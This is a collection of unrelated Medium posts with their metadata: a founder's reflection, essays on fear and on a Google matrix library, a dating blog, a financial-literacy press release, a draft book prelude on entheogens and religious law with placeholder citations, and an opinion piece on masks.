Is starting by saying we’re trying to change or impossibly, save the planet a lie? I say this because I’ve said versions of it, and that makes me feel uncomfortable, because I don’t know if it’s a promise I can keep. Yet it’s the promise every brand is currently making. It’s become the entry point for business these days: if you’re not saving the planet or donating all profits to charity or speaking about injustice then you really shouldn’t be doing business, should you? I genuinely don’t know the answer.
When or how often do I actually find meaning in/at Fluff?
Is it ok that sometimes I don’t? That sometimes the idea of selling and moving to a farm and writing about matters of the heart is a lot more tempting than writing ads about skincare and makeup?
“Marketing is our culture and our culture determines who we are.” — Seth Godin.
The point is, ironically, writing an ad about skincare or makeup at Fluff is actually about connection. Connecting to a simple idea about simplification — around messaging, routines, responsibility and identity. Connecting to people who’ve never felt connected to a brand before, or felt ostracised by an industry. If I can do any of the above at Fluff, I can probably write a few more ads.
Here’s what I‘m thinking right now.
I want to learn new skills and new ideas from new people. I don’t think that’s working for another company/someone else, unless it’s someone/thing I deeply care about. Maybe it’s learning in a school context again — philosophy or creative writing or do I just write things like this instead? Will I hate being told what to do, or is that what I’m actually craving? Stability, discipline, routine, consistency. Is it ok for a founder to want more?
I feel myself feeling more and more myself — ‘found’ if you will — when I’m writing things like this. It also feels like a totally inefficient use of my working day, however I’m reminding myself that this is what makes Fluff stand out.
To other founders, I want to say, hey. Even when this is good it can be bad, and more importantly, even when it’s bad, it can all be good. I’ve had some of my lowest points in this business, and with the help of friends and family, therapy, wine, etc. I’ve managed to get some perspective and realise this is literally — Fluff. It’s great, but it’s not everything. And it’s certainly not every part of me.
What we do is who we are, not what we’ve done.
I am so many other things, sister, friend, daughter, writer, thinker, feeler — things that I neglected when I defined myself solely as Erika, founder. It’s so easy to forget that I’m a human, being. We all are.
To everyone looking at my life, or other founder’s lives, listening to our podcasts and reading our interviews, remember that it’s PRs job to make things look pretty, especially in the beauty industry. No one wants to write about, or apparently read about, the less than glossy times. Instead they want to know what product is next, what my morning routine is, what my apartment looks like.
There are tradeoffs, but as William Braxton Irvine reminds all of us: “you are living the dream life.”
On the days where I feel lost and off track, I remind myself to be optimistic. My problems will vary from day to day, and I feel fortunate to get to tackle them with such amazing people around me. We’ve all got to do something with our time. May as well be this.
Here’s what I wish for.
I wish founders didn’t try so hard to uphold society’s expectations of success; an aesthetic that insists everything is going great when behind the scenes everything is not going great — or even if it is, it doesn’t always feel it. As a friend recently said, we’re all just people stuck in houses trying to pay bills.
I wish there was a podcast where founders discussed their biggest challenges or questions, in business or life — maybe I should make that. Not in a poor me, pity party way, just in a this is hard, I don’t have all the answers, what would you do in my position kind of way.
I wish we could drop this girl boss identity because it’s so far from what its original — possibly good — intentions were. I wish I could chat to an open, vulnerable businessman and be open and vulnerable too, without feeling like I need to prove anything, to him or myself.
I wish I could talk to VCs about my ‘Why’ and feel like they’re actually listening, instead of only looking at our P&L. This stopped being about money for me a long time ago — and while of course money is important, change is probably what we need most of all. Change in consumption, communication, and interaction. Long term.
I think if we can have these conversations and appreciate the nuance of being a founder, running (or working for) a business in this current climate, then we might feel a little less pressure, we might take things a little more slow. Some of us might choose to go into business, others might choose to stay out. Maybe it’ll encourage us to dive into investment or for others, fund things on our own.
We might end up with more questions than answers, but at least we’re not pretending to know it all, and we can appreciate that life is one long lesson.
If you like these updates, tell me. Or please share them with someone you know. You can read past articles here. | https://medium.com/@erikaisfluff/lost-found-er-28c4c1b00029 | ['Erika Geraerts'] | 2021-08-26 05:34:06.423000+00:00 | ['Founder Stories', 'Beauty Industry'] |
The Fear and The Ignorance: Human Being’s Dispositions | From where does fear come? Is human being for living in the world meant to feel fear? If so, we can deduce that the world is the primary cause of the fear of human being. What is wrong with the world so that it makes human being frightened? Does the world itself seem frightening? I do not reckon so.
Living in the world full of absurdity is the problem enabling us to be aware of what we have not known. It is undeniable that the fear appears when one cannot touch, hear, see, smell, and feel the unknown thing by our sense perception. Being incapable of accessing something unknown is the point of departure of our fear.
Art by Agathe Toman
The world unveils itself as a blurred picture with which it looks unfamiliar in one hand. In the other hand, our eyes have always tried to paint the world which always tergiversates. We need an explicit answer, but the world veils itself in order that our searching falls pointless. Furthermore, our investigation of the world cannot reach it completely since we can only track its trace, not its actual present.
There is a straightforward distance between us and the world, so our viewpoint hardly hits the target. Our ignorance of the world and the weakness of our prediction — we always use “prediction” on the grounds that although we dwell in here and now, our here and now continually shift and change — become relative in depicting the world precisely. Consequently, we fall into a hole of ignorance.
As long as the unknown things still exist in front of us, we keep feeling fear not only because we do not have an exact scheme to survive, but because our consciousness cannot also detect what we are precisely going to do. We live in an obnoxious world full of the criss-crossing realities, whereas the nature of our mind and psyche are more compatible with the world distinct enough for us to undergo.
How can we go beyond our ignorance to undermine our fear of the world? Can we truly flee the ignorance which becomes one of the human being’s attribute? Even if human being always infuses herself or himself with knowledge for the sake of escaping the ignorance, the world continually moves itself. It means that human being always exists in one step behind the world. When we are infusing our understanding of the world, the world has just now moved itself which we are trying to catch.
The world is the only unpredictable thing. New science, in Physics, has asserted that the only certainty is the uncertainty. We always see, touch, hear, feel, and smell everything changing, constantly. In front of the ignorance, I think, human being should be resigned, willing to receive and embrace the coming thing in spite of not being hoped.
If only wanting to dwell in the world where everything is only the expected thing, human beings cannot know that the world has each necessary opposition. Only by knowing that the world consists of the compulsory oppositions can we be more humanlike and humbler for fear that we feel as though we were the creator of the world — which is indeed in fact not.[] | https://medium.com/@anggarifk/the-fear-and-the-ignorance-human-beings-dispositions-7899f60ad636 | ['Angga Arifka'] | 2021-07-06 12:04:07.523000+00:00 | ['Worldview', 'Existentialism', 'Philosophy', 'Thoughts', 'Questions'] |
introducing u my P. Hello! so I already did a recap about… | Hello! so I already did a recap about how I become pansexual. I also told you that I like this one person which is very playful and very hard to understand, but that is what I like about her. why do I always want complicated things. Do you have this kind of feeling where you feel that you are being challenge by the person you like? well that’s what I’m feeling right now (jeez).
So let’s talk about about my “p” on how it started.
P is younger than me, she is currently studying at UP Diliman taking up Tourism. she is also a volleyball player there ( we actually watched her game through zoom, and hell she is good). and you know what she is single for a year now. I’m kinda insecure with her ex because she’s gorgeous as hell but jeez I can fight. Well so this is how it started. I actually know her since she was in her high school days, we also played against her team but you know what, she does not even remember me which is okay. back story, my senior invited me to join her team in her business. her up line was P. so P was the one who will present the business to me. well P was my crush back then. that’s how P get to know my name. I did not enter the business because of some reasons, so P called me and we talked about why am I not joining. So the last thing I remembered in our phone call was “dito lang ako pagbreak na kayo” (for the business) then we laughed. after that there’s no communication at all.
A friend of mine was a friend of hers. Her name popped up somewhere in my feed. and I decided to add her on Facebook, Then I was shocked because she messaged me “hey what’s up” so there is nothing wrong about the message. I was so confused that time if she will just messaged me because of the business or if she just want to talk and guess what that day she messaged me she also called. VIDEO CALL. so I was “what to do the heck”. I was shy at first but then she was comfortable to talk with. then days passed we are still communicating with each other. that was November 27,2020 till now. imagine for a month there’s no day that we are not talking. I am actually guarding my heart because girl, my heart is too fragile. I always end up getting hurt at the end.
so this past few days, it seems different. I can feel intention towards her. I always cut someone when I smell that thing but I do not know why I’m not cutting her off.
you know that feeling that hits you when you need to do this one thing but you do not want to. actually, we never bond yet.well, I already saw her during tune up games, but when you say bonding just the two of us or with friends, never.
Is online inuman kind of bonding? we had that twice. we also had movie through Teleparty in Netflix. We also leave our video call on going when we are about to sleep. the heck, girl why are you messing with my mind.
Do you believe with what your zodiac sign tells you? I do, but not 100 percent sure of it. I used it to guide me. well as of now it’s accurate on how she acts.
ps: I’ll update you on what’s next | https://medium.com/@messyusdjul6ia/playing-it-cool-dc24ede7c39f | ['Julia Angeles'] | 2020-12-25 11:15:56.923000+00:00 | ['LGBT'] |
Over 100 Students and Educators in Puerto Rico Receive Financial Literacy Certification | Over 100 Students and Educators in Puerto Rico Receive Financial Literacy Certification EVERFI Follow Apr 23, 2018 · 3 min read
During Financial Literacy Month, EVERFI & Puerto Rico Department of Education celebrate partnership to bring new digital curriculum to K-12 students and teachers on the island
120 teachers and students from escuela Alfredo Dorrington in Hormigueros, Puerto Rico received certifications after completing EVERFI’s online financial literacy curriculum as part of the Puerto Rico Department of Education’s Integral Program for Financial Education, an in schools initiative which aims to develop healthy personal finance skills and habits in students.
In celebration of Financial Literacy Month, EVERFI and Department of Education staff, joined teachers and students as they shared the lessons they recently learned through the course.
“Bringing innovation to the island to prepare students for the future is a personal priority of mine because it is where my family’s story begins as the birthplace of my father,” said Ray Martinez, EVERFI President of Financial Education. “In the midst of recovery from Hurricane Maria and financial hardship, we are honored to celebrate the teachers and students who have worked diligently to complete this course. Through our partnership with Puerto Rico’s Department of Education, we are committed to empowering every public elementary and high school student with the skills needed for a strong and healthy financial future.
In January, Puerto Rico Department of Education announced leading education technology innovator EVERFI, Inc. as its official provider of digital financial education for public elementary and high schools. The announcement took place during a meeting held in Bayamon, Puerto Rico with Senator Carmelo Ríos Santiago, Secretary of Education Dr. Julia Beatrice Keleher.
“One of the requirements for this program is to empower all teachers, as well as the school directors, administrative personnel and program directors, to teach about personal finances,” said Puerto Rico Education Secretary Julia Keleher.
The partnership with Puerto Rico Department of Education makes EVERFI’s digital financial curriculum available to every elementary and high school in Puerto Rico. EVERFI’s on-the-ground implementation team will aim to activate a minimum of 25 schools in the first year, expanding to more schools in subsequent years. Students will learn important skills such as credit, saving techniques, budgeting, retirement planning, different account types and more.
Expanding education opportunity remains a cornerstone mission for Puerto Rico to give more students access to critical life subjects that will prepare them for success outside the classroom. Just 19 states require K-12 students to take a financial education course according to the Council for Economic Education’s Survey of the States 2018 report. This initiative seeks to bring researched-based, interactive financial literacy courses to Puerto Rico students, many for the first time.
EVERFI and the Department of Education recently launched Vault-Understanding Money course in Alfredo Dorrington for elementary school students and its @Work course for Alfredo Dorrington’s high school students. Additionally, EVERFI has trained more than 350 teachers on how to implement the courses and their contents. In the coming weeks and months, EVERFI will host additional teacher trainings as the course is made available to more schools and students.
EVERFI’s “Vault” course in spanish
EVERFI’s Vault-Understanding Money course immerses elementary school students in real-life, interactive scenarios to develop financial concepts, such as income and careers, credit and money management, saving and budgeting. EVERFI’s @Work course is a higher-level course aimed at high school students and adults who are actively making financial judgments. @Work proactively prepares individuals for wise money management decisions, such as family budgeting, investing, credit, borrowing and other topics needed in adulthood. | https://medium.com/edtech-for-the-real-world/over-100-students-and-educators-in-puerto-rico-receive-financial-literacy-certification-aef1627d9eab | [] | 2018-04-23 18:37:57.756000+00:00 | ['Financial Inclusion', 'Education', 'Technology', 'Finance', 'Puerto Rico'] |
Prelude | Photo by June O on Unsplash
Prelude
All I am suggesting is that the mescalin[e] experience is what Catholic theologians call “A gratuitous grace,” not necessary to salvation but potentially helpful and to be accepted thankfully, if made available. To be shaken out of the ruts of ordinary perception, to be shown for a few timeless hours the outer and the inner world, not as they appear to an animal obsessed with survival or to a human being obsessed with words and notions, but as they are apprehended, directly and unconditionally, by Mind at Large — this is an experience of inestimable value to everyone and especially to the intellectual.
— Aldous Huxley, The Doors of Perception (1954)
Although the first entheogen case decided in the United States dates from only 1926, people have employed psychotropic plants, cacti and mushrooms to attain visionary states during religious ceremonies and rituals for millenia.1 Three of the best known psychotropics, with longstanding links to religious use, are peyote, mushrooms, and Cannabis.2
Peyote, a cactus (Lophophora williamsii) native to Northeastern Mexico, has been ingested by Indians during religious ceremonies for at least two thousand years and archeological specimens suggest its ceremonial use may date back as many as eight thousand years.”3
Mushrooms, of the genus Psilocybe, were used to produce visionary states at least as early as 4000 BC. The Psilocybe mushroom was used in religious ceremonies long before the Aztec civilization. It was named teonanácatl, meaning “God’s flesh,” “wondrous mushroom” or “sacred mushroom.”4
Cannabis has been cultivated for over 10,000 years, making it one of the oldest known cultivated plants. Marijuana and hashish, preparations made from the Cannabis plant, were used in China as early as 2737 BC. Unlike opium, another substance with its roots in the orient, hashish was rarely used medicinally. Instead, its use was largely confined to religious, mystical or spiritual rituals. Use of the Cannabis plant spread to India in 800 BC where Hindus called it “the Heavenly Guide.”
In very recent times, the active principles of these and other flora have been isolated and synthesized. Just four of these isolated compounds, which some people have found to elicit religious cognitions, are mescaline, DMT, LSD and psilocybin.
Mescaline, the psychoactive principle in peyote was isolated in 1896 by Arthur Heffter.5 It was soon synthesized but failed to attract widespread interest until 1954 when novelist Aldous Huxley “one bright May morning, . . swallowed four-tenths of a gram of mescaline” and wrote of the resulting experience in his book, The Doors of Perception.6
DMT (N,N-dimethyl-tryptamine) was first synthesized in 1931, but its psychotropic properties were not discovered until 1956. Later, DMT was found to be the principal psychotropic constituent in numerous snuffs used for millennia by South American shamans. The DMT-containing plant Psychotria viridis is a well-known admixture to the famous psychoactive brew known as ayahuasca or yajé, the ceremonial use of which archeological evidence suggests dates back as many as five thousand years.7
LSD (Lysergic acid diethylamide), perhaps the best-known modern entheogen, was created by Dr. Albert Hofmann a chemist employed by Sandoz Laboratories in Basle Switzerland. In 1938, Dr. Hofmann synthesized LSD from a fungus (ergot) commonly infesting rye seeds. Its affect on consciousness remained undiscovered until April 16, 1943, when Dr. Hofmann accidentally ingested a minute amount of the substance and experienced a strange inebriation in which “the external world became changed as in a dream.”8 Several years later, Dr. Hofmann discovered that the chemical structure of LSD is nearly identical to that of the sacred ololiuhqui, prepared from morning glory seeds and used ritually by the Aztecs. It has since been suggested that the ergot fungus may well have been the psychotropic ingredient in the visionary kykeon drink consumed during the Great Mysteries at Eleusis.9
In 1957, working with mushrooms obtained by banker-turned-ethnomycologist (and CIA funded) R. Gordon Wasson from the now famous curandera Maria Sabina, Dr. Hofmann isolated and later synthesized two active substances derived from the Psilocybe mushroom. He named these substances psilocybin and psilocin. With the substances in hand, Dr. Hofmann and Mr. Wasson returned to Mexico and met with Maria Sabina in 1962. During a ceremony, Maria Sabina ingested 30 milligrams of the synthetic psilocybin and later reported that the effect was indistinguishable from that elicited with her sacred mushrooms. The substances psilocybin and psilocin are now known to naturally occur in more than 80 species of mushrooms found worldwide.10
In 1962, the same year that Maria Sabina pronounced synthetic psilocybin to be phenomenological indistinguishable from the effects elicited by the mushrooms used in her ceremonies, a graduate student at Harvard, set out to try and determine the “religious validity” of the experience elicited by psilocybin. The experiment, conducted by Dr. Walter N. Pahnke, later become known as “The Miracle of Marsh Chapel,” or “the Good Friday Experiment.” To perform his study, Dr. Pahnke selected twenty theology students none of whom had ingested a “psychedelic” substance prior to the experiment. All of the students were screened for prior psychological and physical illness. Assistants, knowledgeable of the effects of psilocybin, met with the students to establish a feeling of trust, develop group rapport, and dispel any irrational fears. Having carefully screened and prepared the students, the experiment was conducted on Good Friday, 1962.
On the morning of the experiment the students met at Marsh Chapel on the Harvard campus. Ninety minutes prior to the start of the service, Dr. Pahnke administered twenty identical looking capsules, one to each student. Ten capsules contained thirty milligrams of psilocybin (the same amount earlier given to María Sabina). The other ten capsules contained two hundred milligrams of nicotinic acid, a vitamin that produces feelings of warmth and tingling of the skin, but no pronounced mental effects. Neither Dr. Pahnke nor the students knew the content of any given capsule.
A two-and-one-half-hour religious service was held with the students and their assistants in attendance. The service was conducted in a manner familiar and meaningful to the students, all of whom were from middle-class Protestant backgrounds.
Following the experiment each student was interviewed regarding his experience and completed a 146-item questionnaire. Each student also wrote a detailed phenomenological account of his experience. Six months later, the students were again interviewed, and completed a follow-up questionnaire.
The results of the experiment were significant. Eight out of the ten students who received psilocybin reported what they considered authentic religious experiences. Only one student from the control group that received nicotinic acid reported even a minimal spiritual cognition. Additionally, Dr. Pahnke compared the data derived from the student interviews and questionnaires with nine fundamental characteristics of mystical experience formulated by Dr. W. T. Stace, Professor Emeritus at Princeton, a leading authority on religion and mysticism. Dr. Pahnke concluded, “…under the conditions of this experiment, those subjects who received psilocybin experienced phenomena that were apparently indistinguishable from, if not identical with, certain categories defined by the topology of mystical consciousness.”11
The six-month follow-up was particularly important. One hallmark of religious experience is said to be its lasting effect on the whole of the individual’s life. With respect to this after-effect, Dr. Pahnke reported:
After an admittedly short follow-up period of only six months, life enhancing and life enriching effects, similar to some of those claimed by mystics, were shown by the higher scores of the experimental subjects when compared to the controls. In addition, after four hours of follow-up interviews with each subject, the experimenter was left with the impression that the experience had made a profound impact (especially in terms of religious feeling and thinking) on the lives of eight out of the ten subjects who had been given psilocybin…the direction of change was toward more integrated, self-actualizing attitudes and behavior in life. (Pahnke and Richards 1971)12
Given the general history of religious persecution, including within the United States,13 it’s not surprising that those who have adopted psychoactive plants or chemicals as sacraments or as aids to religious cognitions have frequently come under attack not only by the general populace but also by other religious groups. Ancient Mexican religious rituals centering on the ingestion of psychotropic mushrooms and peyote were, for example, forced deep underground as a result of the Spanish Inquisition. On June 19, 1620, the Holy Office of the Inquisition banned the ingestion of all psychotropic plants, decreeing:
The use of the Herb or Root called Peyote…is a superstitious action and reproved as opposed to the purity and sincerity of our Holy Catholic Faith… We decree that henceforth no person…may use or use of this said herb, this Peyote, or of others for said effects, nor others similar…being warned that doing the contrary, besides incurring said censures and penalties, we will proceed against whoever is rebellious and disobedient, as against persons suspect in the holy Catholic faith.14
It was not until the mid-twentieth century that the mushroom ritual was rediscovered.15 Likewise, members of ancient Greek society participated in the Great Mysteries of Eleusis, consuming a potent psychotropic brew known as the kykeon. After 2000 years of uninterrupted ceremonies, the Christian Emperor Theodosius declared Christianity the official religion of Rome in 380 A.D., and forbid the continuation of non-Christian religions. Later that year a violent mob, led by Christian Priests attacked the Temple of Goddess Demeter in Eleusis, and in 395 A.D. King Alaric dealt the final blow, burning the Eleusinian Sanctuary to the ground.16
Only in the last century, and indeed in the last fifty years, have western scholars begun to uncover the prominent and historical role that psychotropic plants, fungi, and cacti have played in religious ceremonies. At least one scholar of entheogens has deployed the rhetorical term “placebo sacrament”17 to boldly call attention to the fact that people ingested psychotropic sacraments long before the Christian eucharist created during the “Last Supper.”18 As more and more psychotropic plants are discovered, and as new synthetic and artificial substances are created in underground labs, growing numbers of people are asserting that certain of these plants and compounds have the capability of opening a doorway to deeply meaningful religious cognitions.19
How these claims have been adjudicated is the subject of the remainder of this book.
NOTES
1A comprehensive study of 488 societies around the world found that alternative states of consciousness were a “universal human phenomena” institutionalized in a religious framework in over ninety percent of those societies. (Bourguignon 1977). The worldwide history of the ceremonial use of psychotropic flora and plant-based potions is also well documented (Furst 1976), (Schultes and Hofmann 1979), (Ott 1996). Some have suggested that the archaic ingestion of psychoactive fungi may have given birth to the very notion of things “spiritual,” “mystical,” or “religious” (McKenna 1992; Wasson 1968, 1986; La Barre 1975). Indeed, an article by two neuroscientists goes so far as to speculate that religious experience is entirely “brain-based” (Saver & Rabin 1997). The developing field of studying the neural correlates of religious or spiritual experiences has been given the name “neurotheology.”
2 A study completed in 1996 listed over _____ psychotropic flora (Ott, 1996).
3 Richard Glen Boire, Accommodating Religious Users of Controlled Substances: A Model Amendment to the Controlled Substances Act, Journal of Drug Issues, Vol. 24, no. 3, at 467.
4 Id.
5 Some sources attribute the first isolation of mescaline to Louis Lewin in 1888. But, Lewin named his substance “Anhalonin.” Moreover, it is presently thought to have been a mixture of several alkaloids, rather than pure mescaline. JONATHAN OTT, PHARMACOTHEON 86 (Natural Products Co. 1993).
6 Aldous Huxley, Doors of Perception, 1954.
7 Ott 199_ page???
8 Id. at 119.
9 Cite..Try Road to Eleusis Id. at 143.
10 Ott 1996 ____ or Stamets?
11 Pahnke and Richards, page?
12 Dr. Rick Doblin performed a follow-up study of the participants twenty-five years after the original experiment. The participants “reported a substantial amount of persistent positive effects and no significant long-term negative effects.” Rick Doblin, Pahnke’s “Good Friday Experiment”: A long-term follow-up and methodological critique, Journal of Transpersonal Psychology, Vol. 23, №1, at 25.
13 In 1649 (over 100 years before the First Amendment), the Maryland assembly enacted an “Act of Toleration,” imposing whipping and imprisonment for any person who calls another a “heritick, Scismatick, Idolator, puritan, Independant, Prespiterian popish prest, Jesuite, Jesuited papist, Lutheran, Calvenist, Anabaptist, Brownist, Antinomian, Barrowist, Roundhead, Separatist, or any other name or terme in a reproachfull manner relating to matter of Religion.” The Act imposed the death penalty for any person who “shall from henceforth blaspheme God, that is Curse him, or deny our Saviour Jesus Christ to bee the sonne of God, or shall deny the holy Trinity the father sonne and holy Ghost, or the Godhead of any of the said Three persons of the Trinity or the Unity of the Godhead.” (The Maryland Toleration Act, 1649). In fact, up until 1950, fourteen states had laws making “blasphemy” a crime. (cite)
14 Ramo de Inquisicion, tomo 289, Archivo General de la Nacion, Mexico City, quoted in JONATHAN OTT, PHARMACOTHEON 84 (Natural Products Co. 1993).
15R. Gordon Wasson wrote about his participation in the sacred mushroom ceremony in an article in the May 13, 1957, issue of Life magazine (Wasson 1957).
16 Vlasis Rassia “Demolish Them,” ________ a http://ethnikoi.org/persecutions.html
17 See Jonathan Ott footnote to Ott’s use of this phrase (see his devil’s dictionary)
18 In the midst of the Last Supper Jesus stated: “I am the living bread which came down from heaven. If any man eat of this bread, he shall live for ever; and the bread that I will give, is my flesh, for the life of the world. The Jews therefore strove among themselves, saying: How can this man give us his flesh to eat? Then Jesus said to them: Amen, amen I say unto you: Except you eat the flesh of the Son of man, and drink his blood, you shall not have life in you.” The Gospel of John, 6:51–54.
19 See Lyttle, 1988 include a parenthetical quote on how many he documented. | https://medium.com/religious-convictions/prelude-89e10d05cd3 | ['Richard Glen Boire'] | 2020-10-01 17:47:41.117000+00:00 | ['Entheogens', 'Drugs', 'Drug Laws', 'Psychedelics', 'Religious Freedom'] |
In the beginning, there was void * | In the beginning, there was void *
A tale of evolving code and unintended consequences
In honor of the imminent release of ‘Software Engineering at Google’, which I highly recommend, I thought I’d relate a tale of how software evolution and feature creep can go wrong in ways which, while feeling great at every step of the journey, yield a net outcome a decade later that is a disaster with a surprisingly large blast radius. This is my modest parallel to Tony Hoare’s ‘billion dollar mistake’, or Dennis Richie’s ‘most expensive one-byte mistake’ and, coincidentally, it involves both pointers and zero-terminated data-structures.
It all begins innocently enough. The year is 2009. A colleague of mine has a large number of dot products that need to be sped up to improve the scalability of a large-scale optimization problem. At the time, floating-point computation isn’t a common bottleneck for our workloads, and we don’t have off-the-shelf solutions readily available: bringing in a BLAS library is overkill, and there are simpler and definitely more fun things to do for someone like myself, who loves to write gnarly math code and mess around with vectorized Intel instructions.
No sweat, I’ll hack together a quick dot-product implementation using SSE intrinsics, and some hand-tuned unrolling for good measure. There is a very clever way to leverage the terrifyingly beautiful Duff’s device and express unrolling without abusing the pre-processor, at the cost of an equally scandalous abuse of the C syntax. I love it. One wrinkle: SSE instructions like to operate on 16-byte aligned data. Our toolchain doesn’t always provide that guarantee at the time, and compiler hints are still somewhat compiler-specific. No problem: I’ll just allocate a bigger buffer and add a data pointer to the closest 16-byte boundary to enforce alignment.
But wait, if I’m going to put a restriction on how the data gets allocated, it is now very tempting to make sure the contract is enforced via proper typing. So let’s wrap that naked pointer into a new data structure: float * becomes something like aligned_scoped_array<float>. Hey, this opens up new possibilities: dealing with edge effects, when using SSE instructions, is always most of the actual code, and easily alleviated when doing linear algebra by zero-padding the data up to multiples of 16 bytes, which plays nicely with my data alignment tricks. Great: let’s enforce that in the data structure, since we now control it. Done, it’s all very very fast now. Moving on.
Wait. Did someone say linear algebra? Can we process those dot products in batches instead? By then we’re really into BLAS territory, but let’s not rewrite everything just for a basic matrix multiply: just add another dimension to the array, a function that performs the 2D multiplication, and we’re good to go. Aligning and padding the data also means we can step through it without any further pointer indirection, which makes the code short and elegant. Of course, anyone who has read any of the literature on BLAS, notably the seminal Goto paper on the topic, knows that short and elegant probably leaves a ton of performance on the table, because considerations around cache performance can get quite complicated. The right answer is likely not to try to roll out your own implementation, but … it’s fun and it feels like progress, right?
Hang on. Can you do the same for quantized representations? Oh, but yes! In fact, I wrote this nifty paper on how mixing unsigned and signed fixed-point representations works amazingly well for neural networks. BLAS has nothing to offer in the space of fixed-point math, while all alignment and padding considerations still apply. So I’ll just add a specialization for int8*uint8 products, and we’re done. Magic.
By now, you’re probably beginning to see a pattern. Feature creep, slightly suboptimal decisions at every step of the way, the illusion of progress and decisions that are increasingly difficult to walk back from. Fast forward a few years down the road, and my one-off wrapper for a naked pointer has become a fully-fledged, tentacular matrix library, pedantically called FastMatrix. It supports x86, ARM and CUDA. It handles float, double, int8, uint8, int16 and int32. It compiles for Android and iOS. It has moved to a general ‘util’ directory in our shared codebase. It is being used by deep learning codebase as well as a growing number of projects, most of which I have never heard of. It is also sitting in a respectable position on the list of biggest consumers of CPU cycles on our Google-wide profiling dashboard. What’s not to love?
Well. It also has a terrible, maddeningly inconsistent API, in part because different hardware vendors have optimized for different data types and layouts, and I failed to abstract away those implementation details. It is also stuck in an evolutionary dead-end: forcing control of the data layout just to save a few CPU cycles and lines of code turns out to be a terrible idea, because much of the benefit disappears in all the data movements that it typically forces the users to go through. Its mere existence impedes progress towards better-supported, more comprehensive, BLAS-aware solutions such as the awesome Eigen library, which has gained support for fixed-point operations in the meantime. Its CUDA port is full of antipatterns, which I cringe at seeing cut-and-pasted elsewhere in the codebase. We also made a misguided attempt at supporting dynamic dispatch of some of the algorithms across instruction sets, which, if the caller isn’t careful, may cause leakage of compilation units for the wrong platform into one’s binary, and cause obscure crashes that are near impossible to tie back to the original root cause because the binary doesn’t even have to invoke the offending code to be tainted. Oops. It’s all fun and games until ads SRE come a-knocking.
Did I ever mention Google that rejected me when I first applied as a software engineer? They may have had a point. That library needed to die.
But by then, all these major design flaws had also paid short-term dividends: it is pretty fast. It’s there. Due to the somewhat loose, C-like API, it’s easy to add features to it, or copy-paste it piecemeal. Removing some of the most egregious maintenance nightmares would likely either cost thousands of CPU cores, or hundreds of software engineer hours: performance-sensitive code is extremely difficult to reason about, because while it’s safe to assume it has decent coverage for correctness, performance coverage is very difficult to achieve: a 10% speed regression could cost a mere microsecond or overload a datacenter, and you may not be able to tell the difference until someone deploys a binary with your changes a few months after the change is committed. By then, other repositories that I had no visibility into had started to rely on it, including its gnarliest implementation details, and I’d reached pandemic-levels of infection.
The year is now 2020. It’s been a decade. The monster is not entirely dead, though I’ve hacked a great number of its heads. Its demise recently got a significant boost from a die-hard fan of the library, who has fortuitously decided to leave the company. Don’t tell them: I gleefully deleted all their code the very same day. In my 12 years here, I have proudly removed more than 1.5M lines of code from our repository, yet these tendrils stubbornly remain. In retrospect, the best decision I made in recent years was to insist that TensorFlow not depend on any of it.
Donald Knuth famously said that no code is ever fully debugged until its last user has died. Obviously, Knuth doesn’t work at Google, or he might have said ‘… its last user and all of their colleagues …’. Even if the code is dead, some of its antipatterns survive, either in people’s heads or via good old-fashioned copypasta. Titus Winters, co-author of the aforementioned book, loves to say that ‘Software Engineering is programming integrated over time.’ One issue is that the time constants involved can be measured in decades, and rarely does someone stay in any job long enough to see their mistakes unfold. Decisions made locally, incrementally, can quickly poison an entire codebase and become terrifyingly difficult to walk back from, particularly as people move on to other, shinier problems.
Coda
When I started working on the DistBelief codebase a number of years later, I immediately noticed something surprising: the innermost structure that held the neural networks was a naked ‘void *’, nothing more. I looked up who wrote that heresy, and, of course, that turned out to be Jeff Dean. Oh. I timidly asked: ‘Jeff … but whyyy???’ His answer was simply: ‘well, we don’t know what we’re doing yet, so let’s not bake any assumptions into the data structures that we can’t walk back from.’ Sure enough, the right data layout to use in this context was extremely non-obvious: you can use one to optimize for forward inference on CPU, but it penalizes the speed of the backward pass during training, and the backward pass is roughly 2X more expensive than the forward pass. But in production you mostly just run inference, so that may be the right tradeoff? It depends, because on GPU it’s almost exactly the other way around. These tradeoffs took some time to settle, and eventually we codified a type system, a layout and removed the naked pointer. The lesson? Sometimes it is better to let Hyrum’s law (another noted co-author of the upcoming book) work in your favor and defer API contracts until you understand how your users will (ab)use them, instead of committing to an API early and becoming its victim. | https://towardsdatascience.com/in-the-beginning-there-was-void-f3fdfa2830c | ['Vincent Vanhoucke'] | 2020-03-12 15:04:17.708000+00:00 | ['API', 'Machine Learning', 'Software Engineering', 'Coding', 'Software Development'] |
【認養｜台北｜狗】BUBU找尋溫暖主人的家 | in Up Close and Personal | https://medium.com/@animalcare/%E8%AA%8D%E9%A4%8A-%E5%8F%B0%E5%8C%97-%E7%8B%97-bubu%E6%89%BE%E5%B0%8B%E6%BA%AB%E6%9A%96%E4%B8%BB%E4%BA%BA%E7%9A%84%E5%AE%B6-427de759b6b3 | [] | 2020-12-25 10:10:13.021000+00:00 | ['台北', 'Adoption', '認養', 'Dog', '柯基'] |
Relationships Won’t Survive | Nor should they.
…
There are folks working hard to advocate for understanding and reconciling differences to protect relationships by not allowing politics and the like to come between friends and family. I generally agree with this, but there are some things that should never be political in the first place. Are we really expected to compromise morals or common sense for the sake of relationships now? I don’t think so, and I won’t. There are issues I simply cannot look past any longer.
For example, I choose to no longer maintain relationships with people who ignore health experts and scientists in favor to whatever wingnuttery they might have found on YouTube that supports their foolish desire to oppose any and all public health orders. Their refusal to take even the most reasonable measures to protect our communities from this viral outbreak is a deal breaker for me. We might reasonably debate whether or not an economic shutdown is warranted, or even beneficial, but if you oppose simply wearing a mask when in the company of others during an outbreak, as far as I’m concerned that’s an irreconcilable difference. Actual medical conditions paired with actual medical professional advice to not wear masks is of course an exception to this. However, professional medical advice like that also usually advises them to isolate themselves to avoid this virus that they are at a particularly high risk of dying from, as well as preventing them from spreading it, so it really shouldn’t be an issue (I will insist on that isolation when it comes to my family regardless of your beliefs on the subject).
My son is not yet 12 years old. As a result he can not be vaccinated yet and in my opinion these folks are quite literally advocating for something that can potentially take his life and that I can't fully protect him from while expecting me to respect their opinions on this. These same people also completely disregard, and even laugh at, my own opinions on this issue, expecting me to give in and allow them to visit my family and the like. I'm sorry but that's not happening, I don't care who you are.
